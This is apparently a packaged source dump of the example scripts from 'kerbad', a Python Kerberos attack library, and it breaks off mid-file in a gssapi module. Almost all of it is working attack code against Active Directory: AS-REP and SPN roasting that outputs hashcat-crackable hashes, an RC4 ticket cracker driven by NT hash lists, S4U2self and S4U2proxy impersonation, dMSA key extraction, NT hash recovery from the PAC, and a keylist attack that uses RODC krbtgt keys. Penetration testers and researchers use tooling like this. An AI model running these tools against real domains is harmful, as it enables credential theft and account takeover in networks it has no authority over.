if len(args.users) == 0: print('Please provide users to kerberoast') return await asreproast(args.kerberos_server, args.users, args.domain, args.out_file, args.etypes) def main(): asyncio.run(amain()) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756986999.0 kerbad-0.5.10/kerbad/examples/ccache2kirbi.py0000777000175000000000000000132115056277167020076 0ustar00silverrootimport os import logging import kerbad LOG = kerbad.getLogger() from kerbad.common.ccache import CCACHE def main(): import argparse parser = argparse.ArgumentParser(description='Convert ccache file to kirbi file(s)') parser.add_argument('ccache', help='path to the ccache file') parser.add_argument('kirbidir', help='output directory fir the extracted kirbi file(s)') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) LOG.info('Parsing CCACHE file') cc = CCACHE.from_file(args.ccache) LOG.info('Extracting kirbi file(s)') cc.to_kirbidir(args.kirbidir) LOG.info('Done!') if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1759809051.0 kerbad-0.5.10/kerbad/examples/ccache_editor.py0000777000175000000000000000457415071107033020333 0ustar00silverrootimport os import logging import kerbad LOG = kerbad.getLogger() import ntpath from kerbad.common.ccache import CCACHE, Credential from kerbad.common.utils import print_table def main(): import argparse parser = argparse.ArgumentParser(description='Tool to manipulate CCACHE files') subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' roast_group = subparsers.add_parser('roast', help='Lists all tickets in hashcat-friendly format') roast_group.add_argument('-a', '--allhash', action='store_true', help='Process all tickets, regardless of enctype') roast_group.add_argument('-o', '--outfile', help='Output hash file name') list_group = subparsers.add_parser('list', help='List all tickets in the file') delete_group = subparsers.add_parser('del', help = 'Delete ticket(s) from file, store the new ccache file in a specified filename, or an automatically generated one') delete_group.add_argument('-o', '--outfile', help='Output ccache file name') delete_group.add_argument('-i','--id', type=int, action='append', help='Ticket ID to delete', required=True) parser.add_argument('ccachefile', help='input CCACHE file') args = parser.parse_args() LOG.debug('Opening file %s' % args.ccachefile) cc = CCACHE.from_file(args.ccachefile) if args.command == 'list': table = [] table.append(['id'] + Credential.summary_header()) i = 0 for cred in cc.credentials: table.append([str(i)] + cred.summary()) i += 1 print() #this line intentionally left blank print_table(table) elif args.command == 'roast': if args.outfile: with open(args.outfile, 'wb') as f: for h in cc.get_hashes(all_hashes = args.allhash): f.write(h.encode() + b'\r\n') else: for h in cc.get_hashes(all_hashes = args.allhash): print(h) elif args.command == 'del': #delete if args.outfile: output_filename = args.outfile else: output_filename = os.path.splitext(args.ccachefile)[0] + '.edited.ccache' id = args.id temp_cc = CCACHE() temp_cc.file_format_version = cc.file_format_version temp_cc.headers = cc.headers temp_cc.primary_principal = cc.primary_principal i = 0 for cred in cc.credentials: if i in id: i += 1 continue temp_cc.credentials.append(cred) i += 1 LOG.info('Writing edited file to %s' % output_filename) temp_cc.to_file(output_filename) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987003.0 kerbad-0.5.10/kerbad/examples/ccacheroast.py0000777000175000000000000000074015056277173020045 0ustar00silverroot from kerbad.common.ccache import CCACHE def ccacheroast(ccachefilepath): ccache = CCACHE.from_file(ccachefilepath) for hash in ccache.get_hashes(): print(hash) def main(): import argparse parser = argparse.ArgumentParser(description='Parses CCACHE file and outputs all TGS tickets in a hashcat-crackable format') parser.add_argument('ccache', help='CCACHE file to roast') args = parser.parse_args() ccacheroast(args.ccache) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987006.0 kerbad-0.5.10/kerbad/examples/changepassword.py0000777000175000000000000000377715056277176020616 0ustar00silverroot import logging import kerbad LOG = kerbad.getLogger() import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.kirbi import Kirbi from typing import List import traceback async def change_password(connection_url:str, newpass:str = None, targetuser:str=None, etypes:List[int] = [23,17,18]): try: etypes_final = [] if isinstance(etypes, list) is False: etypes = [etypes] for etype in etypes: if isinstance(etype, str): etypes_final.extend([int(x) for x in etype.split(',')]) if isinstance(etypes, int): etypes_final.append(etype) etypes = etypes_final cu = KerberosClientFactory.from_url(connection_url) client = cu.get_client() await client.get_TGT(override_etype=etypes) response = await client.change_password(newpass, targetuser=targetuser) if response.result_code == 0: print('Password changed successfully!') return print('Error changing password!') print(response) return except Exception as e: traceback.print_exc() print(str(e)) async def amain(): import argparse parser = argparse.ArgumentParser(description='Kerberoast', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('kerberos_connection_url', help='the kerberos target string in the following format kerberos+://\\@') parser.add_argument('newpassword', help='New password') parser.add_argument('-u', '--targetuser', help='Target user to change password for. If not specified, the current user will be used.') parser.add_argument('-e', '--etypes', default='23,17,18', help='Encryption types to use. Default: 23,17,18') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) await change_password(args.kerberos_connection_url, args.newpassword, args.targetuser, args.etypes) def main(): asyncio.run(amain()) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987009.0 kerbad-0.5.10/kerbad/examples/crosstest.py0000777000175000000000000000323215056277201017606 0ustar00silverrootimport os import logging import kerbad LOG = kerbad.getLogger() import asyncio import copy from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.target import KerberosTarget from asysocks.unicomm.common.target import UniProto from kerbad.common.spn import KerberosSPN from kerbad.aioclient import AIOKerberosClient from kerbad.common.kirbi import Kirbi from kerbad.common.creds import KerberosCredential from kerbad import logger async def getTGS(kerberos_url, kirbifile = None): if isinstance(spn, str): spn = KerberosSPN.from_spn(spn) cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() LOG.debug('Getting TGT') await client.get_TGT() LOG.debug('Getting TGS for otherdomain krbtgt') ref_tgs, ref_encpart, ref_key, new_factory = await client.get_referral_ticket(spn.domain) kirbi = Kirbi.from_ticketdata(ref_tgs, ref_encpart) print(str(kirbi)) if kirbifile is not None: kirbi.to_file(kirbifile) LOG.info('Done!') def main(): import argparse parser = argparse.ArgumentParser(description='Polls the kerberos service for a TGS for the sepcified user and specified service', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--kirbi', help='kirbi file to store the TGT ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('kerberos_url', help='the kerberos target string. ') args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(getTGS(args.kerberos_url, args.kirbi)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1759774964.0 kerbad-0.5.10/kerbad/examples/getNT.py0000777000175000000000000000223315071004364016571 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.protocol.external.ticketutil import get_NT_from_PAC async def get_NT(kerberos_url): cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() tgs, enctgs, key, decticket = await client.with_clock_skew(client.U2U) results = get_NT_from_PAC(client.pkinit_tkey, decticket) for result in results: print('%s : %s' % (result[0], result[1])) print('Done!') return results def main(): import argparse parser = argparse.ArgumentParser(description='Fetches the NT hash for the user. PKI auth required.', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('kerberos_url', help=r'The kerberos target URL. Example: "kerberos+pfx://TEST.corp\Administrator:admin@10.10.10.2/?certdata=test.pfx&timeout=120"') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(get_NT(args.kerberos_url)) if __name__ == '__main__': main() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769430323.0 kerbad-0.5.10/kerbad/examples/getS4U2proxy.py0000777000175000000000000000547615135656463020101 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.constants import KerberosSecretType from kerbad.common.spn import KerberosSPN from kerbad.common.creds import KerberosCredential from kerbad.common.kirbi import Kirbi async def getS4U2proxy(kerberos_url, spn, targetuser, kirbifile = None, ccachefile = None): cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() service_spn = KerberosSPN.from_spn(spn) target_user = KerberosSPN.from_upn(targetuser) if not cu.secret_type.name.startswith(KerberosSecretType.CCACHE.name): LOG.debug('Getting TGT') await client.with_clock_skew(client.get_TGT) LOG.debug('Getting S4Uself') tgs, encTGSRepPart, key = await client.with_clock_skew(client.getST, target_user, service_spn) else: LOG.debug('Getting TGS via TGT from CCACHE') for kirbi in client.credential.ccache.get_all_tgt_kirbis(): try: LOG.info('Trying to get SPN with %s' % kirbi.get_username()) ccred_test = KerberosCredential.from_kirbi(kirbi.to_hex(), encoding='hex') client = cu.get_client_newcred(ccred_test) tgs, encTGSRepPart, key = await client.with_clock_skew(client.getST, target_user, service_spn) LOG.info('Sucsess!') break except Exception as e: LOG.debug('This ticket is not usable it seems Reason: %s' % e) continue if ccachefile is not None: client.ccache.to_file(ccachefile) print('Ticket stored in ccache file %s' % ccachefile) kirbi = Kirbi.from_ticketdata(tgs, encTGSRepPart) print(str(kirbi)) if kirbifile is not None: kirbi.to_file(kirbifile) LOG.info('Done!') def main(): import argparse parser = argparse.ArgumentParser(description='Gets an S4U2proxy ticket impersonating given principal', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('--kirbi', help='kirbi file to store the TGS ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('--ccache', help='ccache file to store the TGT ticket in') parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('kerberos_url', help='Machine account credentials in kerberos URL format.') parser.add_argument('spn', help='the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER\'S HOSTNAME MUST BE USED, NOT IP!!!') parser.add_argument('impersonate', help='principal to impersonate, example: dc01$@TEST.corp') args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(getS4U2proxy(args.kerberos_url, args.spn, args.impersonate, args.kirbi, args.ccache)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1768232342.0 kerbad-0.5.10/kerbad/examples/getS4U2self.py0000777000175000000000000000736115131212626017625 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.constants import KerberosSecretType from kerbad.common.spn import KerberosSPN from kerbad.common.creds import KerberosCredential from kerbad.common.kirbi import Kirbi from kerbad.common.ccache import CCACHE from kerbad.protocol.external.ticketutil import get_KRBKeys_From_TGSRep from kerbad.protocol.encryption import Enctype async def getS4U2self(kerberos_url, spn, targetuser, kirbifile = None, ccachefile = None, is_dmsa = False): cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() service_spn = KerberosSPN.from_spn(spn, default_realm=cu.domain) target_user = KerberosSPN.from_upn(targetuser, default_realm=cu.domain) if not cu.secret_type.name.startswith(KerberosSecretType.CCACHE.name): LOG.debug('Getting TGT') await client.with_clock_skew(client.get_TGT) LOG.debug('Getting S4Uself') tgs, encTGSRepPart, key = await client.with_clock_skew(client.S4U2self, target_user, service_spn, is_dmsa=is_dmsa) else: LOG.debug('Getting TGS via TGT from CCACHE') for kirbi in client.credential.ccache.get_all_tgt_kirbis(): try: LOG.info('Trying to get SPN with %s' % kirbi.get_username()) ccred_test = KerberosCredential.from_kirbi(kirbi.to_hex(), encoding='hex') client = cu.get_client_newcred(ccred_test) tgs, encTGSRepPart, key = await client.with_clock_skew(client.S4U2self, target_user, service_spn, is_dmsa=is_dmsa) LOG.info('Success!') break except Exception as e: LOG.debug('This ticket is not usable it seems Reason: %s' % e) continue kirbi = Kirbi.from_ticketdata(tgs, encTGSRepPart) print(str(kirbi)) if ccachefile is not None: CCACHE.from_kirbi(kirbi).to_file(ccachefile) print('Ticket stored in ccache file %s' % ccachefile) if kirbifile is not None: kirbi.to_file(kirbifile) if is_dmsa: dmsa_pack = get_KRBKeys_From_TGSRep(encTGSRepPart) print('\ndMSA current keys found in TGS:') for current_key in dmsa_pack['current-keys']: print("%s: %s" % (Enctype.get_name(current_key['keytype']), current_key['keyvalue'].hex())) print('\ndMSA previous keys found in TGS (including keys of preceding managed accounts):') for previous_key in dmsa_pack['previous-keys']: print("%s: %s" % (Enctype.get_name(previous_key['keytype']), previous_key['keyvalue'].hex())) LOG.info('Done!') def main(): import argparse parser = argparse.ArgumentParser(description='Get a S4U2self ticket impersonating given user for service running on current machine', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('--dmsa', help='Account to impersonate is a dMSA', action='store_true') parser.add_argument('--kirbi', help='kirbi file to store the TGS ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('--ccache', help='ccache file to store the TGT ticket in') parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('kerberos_url', help='Machine account credentials in kerberos URL format.') parser.add_argument('spn', help='the service principal in format /[@] Example: cifs/fileserver.test.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER\'S HOSTNAME MUST BE USED, NOT IP!!!') parser.add_argument('targetuser', help='the target user to impersonate for the service in format [@] Example: Administrator') args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(getS4U2self(args.kerberos_url, args.spn, args.targetuser, args.kirbi, args.ccache, args.dmsa)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987030.0 kerbad-0.5.10/kerbad/examples/getTGS.py0000777000175000000000000000423715056277226016727 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.spn import KerberosSPN from kerbad.aioclient import AIOKerberosClient from kerbad.common.kirbi import Kirbi async def getTGS(kerberos_url:str, spn:str, kirbifile:str = None, ccachefile:str = None, cross_domain:bool = False): if isinstance(spn, str): spn = KerberosSPN.from_spn(spn) cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() LOG.debug('Getting TGT') await client.with_clock_skew(client.get_TGT) if cross_domain is True: LOG.debug('Getting TGS for other domain krbtgt') _, _, _, new_factory = await client.get_referral_ticket(spn.domain) client = new_factory.get_client() LOG.debug('Getting TGS') tgs, encpart, key = await client.with_clock_skew(client.get_TGS, spn) if ccachefile is not None: client.ccache.to_file(ccachefile) print('TGT stored in ccache file %s' % ccachefile) kirbi = Kirbi.from_ticketdata(tgs, encpart) print(str(kirbi)) if kirbifile is not None: kirbi.to_file(kirbifile) LOG.info('Done!') def main(): import argparse parser = argparse.ArgumentParser(description='Polls the kerberos service for a TGS for the specified user and specified service', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--ccache', help='CCACHE file to store the TGT ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('--kirbi', help='kirbi file to store the TGT ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('--cross-domain', action='store_true', help='SPN is in another domain.') parser.add_argument('kerberos_url', help='the kerberos target string. ') parser.add_argument('spn', help='the SPN to request the TGS for. Must be in the format of service/host@domain') args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(getTGS(args.kerberos_url, args.spn, args.kirbi, args.ccache, args.cross_domain)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987032.0 kerbad-0.5.10/kerbad/examples/getTGT.py0000777000175000000000000000317715056277230016725 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.kirbi import Kirbi async def getTGT(kerberos_url:str, kirbifile:str = None, ccachefile:str = None, nopac:bool = False): cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() LOG.debug('Getting TGT') await client.with_clock_skew(client.get_TGT, with_pac=nopac) if ccachefile is not None: client.ccache.to_file(ccachefile) print('TGT stored in ccache file %s' % ccachefile) kirbi = Kirbi.from_ticketdata(client.kerberos_TGT, client.kerberos_TGT_encpart) print(str(kirbi)) if kirbifile is not None: kirbi.to_file(kirbifile) LOG.info('Done!') def main(): import argparse parser = argparse.ArgumentParser(description='Polls the kerberos service for a TGT for the sepcified user', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('--nopac', action='store_false', help="Don't request a PAC in the TGT") parser.add_argument('--ccache', help='CCACHE file to store the TGT ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('--kirbi', help='kirbi file to store the TGT ticket in, otherwise kirbi will be printed to stdout') parser.add_argument('kerberos_url', help='the kerberos target string. ') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) asyncio.run(getTGT(args.kerberos_url, args.kirbi, args.ccache, args.nopac)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/examples/kerb23hashdecrypt.py0000777000175000000000000001135514760576506021124 0ustar00silverrootfrom unicrypto.symmetric import RC4 as ARC4 from unicrypto import hmac as HMAC from unicrypto.hashlib import md5 as MD5 from tqdm import tqdm def crack_asrep(hashlist, tickets, total = 0): print('Cracking ASREP tickets') for asrep in tickets: try: result = None test = asrep.split('$') etype = test[2] user,checksum = test[3].split(':') edata = test[4] #print('Etype : %s' % etype) #print('User : %s' % user) #print('Chksum: %s' % checksum) #print('EData : %s...' % edata[:16]) checksum = bytes.fromhex(checksum) edata = bytes.fromhex(edata) keyusage = 8 keyusage = keyusage.to_bytes(4, byteorder='little', signed=False) except Exception as e: print('Error parsing ticket: %s' % e) continue for pwhash, ki in hashlist: ke = HMAC.new(ki, checksum, MD5).digest() # at this point you can add some optimizations to make it faster, # but honestly I don't think it's needed, it's Python so it will be slow anyhow basic_plaintext = ARC4(ke).decrypt(edata) exp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest() if checksum == exp_cksum: result = pwhash break else: continue print('%s: %s' % (asrep, result.hex())) def preprocess_hashlist_asrep(hashlist): print('Preprocessing hashlist for ASREP cracking...') res = [] keyusage = 8 keyusage = keyusage.to_bytes(4, byteorder='little', signed=False) for pwhash in hashlist: pwhash = pwhash.strip() pwhash = bytes.fromhex(pwhash) ki = HMAC.new(pwhash, keyusage, MD5).digest() res.append((pwhash, ki)) print('Preprocessing done!') return res def preprocess_hashlist_tgs(hashlist): print('Preprocessing hashlist for TGS cracking...') res = [] keyusage = 2 keyusage = keyusage.to_bytes(4, byteorder='little', signed=False) for pwhash in hashlist: pwhash = pwhash.strip() pwhash = bytes.fromhex(pwhash) ki = HMAC.new(pwhash, keyusage, MD5).digest() res.append((pwhash, ki)) print('Preprocessing done!') return res def crack_tgs(hashlist, tickets, total = 0): for tgs in tickets: try: result = None test = tgs.split('$') etype = test[2] user = test[3] realm = test[4] checksum = test[6] edata = test[7] #print('Etype : %s' % etype) #print('User : %s' % user) #print('Realm : %s' % realm) #print('Chksum: %s' % checksum) #print('EData : %s...' % edata[:16]) checksum = bytes.fromhex(checksum) edata = bytes.fromhex(edata) keyusage = 2 keyusage = keyusage.to_bytes(4, byteorder='little', signed=False) except Exception as e: print('Error parsing ticket: %s' % e) continue print('Cracking TGS for %s\\%s' % (realm, user)) for pwhash, ki in hashlist: ke = HMAC.new(ki, checksum, MD5).digest() # at this point you can add some optimizations to make it faster, # but honestly I don't think it's needed basic_plaintext = ARC4(ke).decrypt(edata) exp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest() if checksum == exp_cksum: result = pwhash break else: print('No password found for %s\\%s' % (realm, user)) continue print('%s: %s' % (tgs, result.hex())) def crack(hashlist, tickets): spntickets = [] asreptickets = [] if tickets.lower().find('$krb5tgs$23$') == -1 and tickets.lower().find('$krb5asrep$23$') == -1: with open(tickets, 'r') as f: for line in f: line = line.strip() if line == '': continue if line.lower().find('$krb5tgs$23$') != -1: spntickets.append(line) if line.lower().find('$krb5asrep$23$') != -1: asreptickets.append(line) else: if tickets.lower().find('$krb5tgs$23$') != -1: spntickets.append(tickets) if tickets.lower().find('$krb5asrep$23$') != -1: asreptickets.append(tickets) tt = len(spntickets) + len(asreptickets) if tt == 0: print('No tickets loaded! Exiting!') return print('Loaded %s tickets' % tt) total = 0 with open(hashlist, 'r') as f: for line in f: line = line.strip() if line == '': continue total += 1 if len(spntickets) == 0 and len(asreptickets) == 0: print('No tickets loaded! Exiting!') return with open(hashlist, 'r') as f: if len(spntickets) > 0: hashlist = preprocess_hashlist_tgs(f) crack_tgs(hashlist, spntickets, total=total) if len(asreptickets) > 0: f.seek(0) hashlist = preprocess_hashlist_asrep(f) crack_asrep(hashlist, asreptickets, total=total) def main(): import argparse parser = argparse.ArgumentParser(description='Tries to decrypt RC4 TGS or ASREP ($krb5tgs$23$ / $krb5asrep$23$) using a list of NT hashes') parser.add_argument('hashlist', help='File containing NT hashes') parser.add_argument('tickets', help='Kerberoasted ticket in hashcat format. $krb5tgs$23$... or $krb5asrep$23$...') args = parser.parse_args() crack(args.hashlist, args.tickets) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1766932036.0 kerbad-0.5.10/kerbad/examples/keylist.py0000777000175000000000000000755515124237104017247 0ustar00silverrootimport logging import asyncio from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.common.kirbi import Kirbi from kerbad.protocol.asn1_structs import KERB_KEY_LIST_REP KEYLIST_EPILOG = """ Requiremets: - You must obtain a valid secret key for an RODC krbtgt_##### account - Point the URL to a non-RODC active directory server - The target server in the URL specification can be IP address or FQDN - This attack is really sensitive on using the correct domain in the URL specification - The target user MUST be a user account that is explicitly allowed to be synchronized to the RODC Example: python keylist.py 'kerberos+rc4://test.corp\\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser python keylist.py 'kerberos+aes://test.corp\\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser """ import enum # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/6cfc7b50-11ed-4b4d-846d-6f08f0812919 class SupportedEtypes(enum.IntFlag): DES_CBC_CRC = 1 DES_CBC_MD5 = 2 ARCFOUR_HMAC_MD5 = 4 AES128_CTS_HMAC_SHA1_96 = 8 AES256_CTS_HMAC_SHA1_96 = 16 AES256_CTS_HMAC_SHA1_96_SK = 32 FAST = 0x20000 COMPOUND_IDENTITY =0x40000 CLAIM_TOKEN = 0x80000 Resource_SID_compression_disabled = 0x100000 async def keylistattack(kerberos_url:str, targetuser:str = None, targetrealm:str = None): logging.debug('Performing keylist attack') targetusers = [] try: with open(targetuser, 'r') as f: targetusers = f.read().splitlines() except Exception as e: targetusers.append(targetuser) for targetuser in targetusers: try: cu = KerberosClientFactory.from_url(kerberos_url) client = cu.get_client() tgs, encTGSRepPart, key = await client.keylist(targetuser, targetrealm=targetrealm) except Exception as e: print(f'[ERR] {targetuser}: {e}') continue #kirbi = Kirbi.from_ticketdata(tgs, encTGSRepPart) #print(str(kirbi)) print(encTGSRepPart) keys = {} if 'encrypted-pa-data' in encTGSRepPart and encTGSRepPart['encrypted-pa-data'] is not None: for encpadata in encTGSRepPart['encrypted-pa-data']: if encpadata['padata-type'] == 162: keylist = KERB_KEY_LIST_REP.load(encpadata['padata-value']) for key in keylist.native: if key['keytype'] not in keys: keys[key['keytype']] = [] keys[key['keytype']].append(key['keyvalue']) elif encpadata['padata-type'] == 165: supported_etypes = int.from_bytes(encpadata['padata-value'], 'little', signed=False) print(SupportedEtypes(supported_etypes).name) if len(keys) == 0: print(f'[ERR] {targetuser}: No keys returned from the server') continue cred = tgs username = cred.get('cname') if username is not None: if len(username['name-string']) > 1: username = '\\'.join(username['name-string']) else: userrealm = cred.get('crealm') username = '%s\\%s' % (userrealm, username['name-string'][0]) for keytype in keys: for keyvalue in keys[keytype]: print('[%s] %s: %s' % (keytype, username, keyvalue.hex())) print('') def main(): import argparse parser = argparse.ArgumentParser(description='Performs Keylist attack', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = KEYLIST_EPILOG) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--targetrealm', help='the realm to perform the keylist attack on') parser.add_argument('kerberos_url', help='the kerberos target string. ') parser.add_argument('targetuser', help='the user to perform the keylist attack on') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: logging.basicConfig(level=1) asyncio.run(keylistattack(args.kerberos_url, args.targetuser, args.targetrealm)) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987035.0 kerbad-0.5.10/kerbad/examples/kirbi2ccache.py0000777000175000000000000000171115056277233020073 0ustar00silverrootimport os import logging import kerbad LOG = kerbad.getLogger() from kerbad.common.ccache import CCACHE def kirbi2ccache(kirbi, ccache): abs_path = os.path.abspath(kirbi) if os.path.isdir(abs_path): LOG.info('Parsing kirbi files in directory %s' % abs_path) cc = CCACHE.from_kirbidir(abs_path) cc.to_file(ccache) else: LOG.info('Parsing kirbi file %s' % abs_path) cc = CCACHE.from_kirbifile(abs_path) cc.to_file(ccache) def main(): import argparse parser = argparse.ArgumentParser(description='Convert kirbi file(s) to a single ccache file') parser.add_argument('kirbi', help='path to the kirbi file or a of kirbi files') parser.add_argument('ccache', help='ccache file name to be created') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) kirbi2ccache(args.kirbi, args.ccache) LOG.info('Done!') if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987037.0 kerbad-0.5.10/kerbad/examples/spnroast.py0000777000175000000000000000652015056277235017440 0ustar00silverrootimport logging import kerbad LOG = kerbad.getLogger() import asyncio import traceback import pathlib from kerbad.common.factory import KerberosClientFactory, kerberos_url_help_epilog from kerbad.security import kerberoast from typing import List async def spnroast(connection_url:str, users:List[str], domain:str = None, out_file:str = None, etypes:List[int] = [23,17,18], cross_domain:bool = False): try: results_ok = [] results_err = [] cu = KerberosClientFactory.from_url(connection_url) if isinstance(users, list) is False: users = [users] users_final = [] for user in users: if isinstance(user, str): if pathlib.Path(user).exists(): with open(user, 'r') as f: users_final.extend(f.read().splitlines()) else: users_final.append(user) if isinstance(etypes, list) is False: etypes = [etypes] etypes_final = [] for etype in etypes: if isinstance(etype, str): etypes_final.extend([int(x) for x in etype.split(',')]) if isinstance(etypes, int): etypes_final.append(etype) etypes = etypes_final users = users_final if domain is None: for username in users: if username.find('@') != -1: domain = username.split('@')[1] break else: domain = cu.get_creds().domain if domain is None: raise Exception('No domain specified') users_nodomain = [] for username in users: if username.find('@') != -1: users_nodomain.append(username.split('@')[0]) else: users_nodomain.append(username) username = None async for username, res, err in kerberoast(cu, users_nodomain, domain, override_etype=etypes, cross_domain=cross_domain): if err is not None: results_err.append((username, err)) continue results_ok.append((username, res)) if out_file is not None: with open(out_file, 'w', newline='') as f: for _, result in results_ok: f.write(result + '\r\n') for username, err in results_err: print('%s error: %s' % (username, err)) for _, result in results_ok: print(result) except Exception as e: traceback.print_exc() async def amain(): import argparse parser = argparse.ArgumentParser(description='Kerberoast', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog) parser.add_argument('kerberos_connection_url', help='the kerberos target string in the following format kerberos+://\\@') parser.add_argument('domain', help='Realm. Use this if you specify username in "spn" field') parser.add_argument('users', nargs ='*', help='User/username to kerberoast. Can be a file with usernames, or a single username.') parser.add_argument('--cross-domain', action='store_true', help='SPN is in another domain.') parser.add_argument('-e', '--etypes', default='23,17,18', help='Encryption types to use. Default: 23,17,18') parser.add_argument('-o', '--out-file', help='Write results to this file instead of printing them') parser.add_argument('-v', '--verbose', action='count', default=0) args = parser.parse_args() if args.verbose > 0: LOG.setLevel(logging.DEBUG) if len(args.users) == 0: print('Please provide users to kerberoast') return await spnroast(args.kerberos_connection_url, args.users, args.domain, args.out_file, args.etypes, args.cross_domain) def main(): asyncio.run(amain()) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/gssapi/0000777000175000000000000000000015137335015014646 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/gssapi/__init__.py0000777000175000000000000000000014760576506016765 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/gssapi/channelbindings.py0000777000175000000000000000563314760576506020375 0ustar00silverroot import enum import io # https://www.ietf.org/rfc/rfc2744.txt 3.11. Channel Bindings class GSS_C_AF(enum.Enum): UNSPEC = 0 #Unspecified address type LOCAL = 1 #Host-local address type INET = 2 #Internet address type (e.g. IP) IMPLINK = 3 #ARPAnet IMP address type PUP = 4 #pup protocols (eg BSP) address type CHAOS = 5 